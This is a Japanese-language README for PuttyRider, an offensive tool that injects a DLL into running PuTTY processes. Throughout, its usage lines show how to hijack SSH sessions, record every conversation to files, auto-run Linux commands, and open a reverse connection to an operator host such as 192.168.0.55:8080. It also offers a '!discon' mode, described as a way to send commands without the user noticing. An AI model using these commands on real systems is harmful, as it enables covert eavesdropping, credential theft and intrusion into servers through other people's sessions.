
Puttyセッションを乗っ取り、会話をスニッフィングし、Linuxコマンドを注入するため。
Puttyセッションをハイジャックして、会話の盗聴とLinuxコマンドの注入を行います。
現在のPuttyプロセスとそのステータス(注入済み/未注入)を一覧表示
PuttyRider.exe -l
最初に見つかったputty.exeにDLLを注入し、DLLから自身のIP:Portへのリバース接続を開始して、PuttyRider.exeを終了します。
PuttyRider.exe -p 0 -r 192.168.0.55:8080
バックグラウンドで実行し、新しいPuttyプロセスを待ちます。新しいputty.exeがあれば注入し、すべての会話をローカルファイルに書き込みます。
PuttyRider.exe -w -f
すでに注入されているすべてのPuttyプロセスからPuttyRider.dllを排出します。 (-w モードで実行中の場合はPuttyRider.exeを忘れずに強制終了してください。そうしないと再注入されます。)
PuttyRider.exe -x
操作モード:
-l 実行中のPuttyプロセスとその接続を一覧表示
-w 既存のすべてのPuttyセッションに注入し、新しいセッションが起動するのを待ち、それらにも注入する
-p PID 指定したPIDのPuttyセッションにのみ注入する。PID==0の場合は最初に見つかったPuttyに注入
-x クリーンアップ。実行中のすべてのPuttyインスタンスからDLLを削除
-d デバッグモード。-pモードでのみ機能
-c CMD 注入成功後にLinuxコマンドを自動実行。PuttyRiderはCMDから末尾のスペースと'&'文字を削除します。PuttyRiderはCMDに「 1>/dev/null 2>/dev/null &」を追加します。
-h このヘルプを表示
出力モード:
-f すべてのPutty会話をローカルディレクトリのファイルに書き込む。ファイル名には現在のputty.exeのPIDが追加されます
-r IP:PORT 指定したマシンへのリバース接続を開始し、インタラクティブセッションを開始します。
対話型コマンド(リバース接続を受け取った後):
!status Puttyウィンドウがユーザー入力に接続されているか確認
!discon メインのPuttyウィンドウを切断して何も表示されないようにする。ユーザーに気付かれずにコマンドを送信するのに便利
!recon Puttyウィンドウを通常の操作モードに再接続
CMD Linuxシェルコマンド
!exit この接続を終了
!help クライアント接続のヘルプを表示
Visual Studioのコマンドプロンプトを使用:
nmake main dll
Insomnia SecurityのBrett Moore氏に、彼の概念実証 PuttyHijack に感謝します。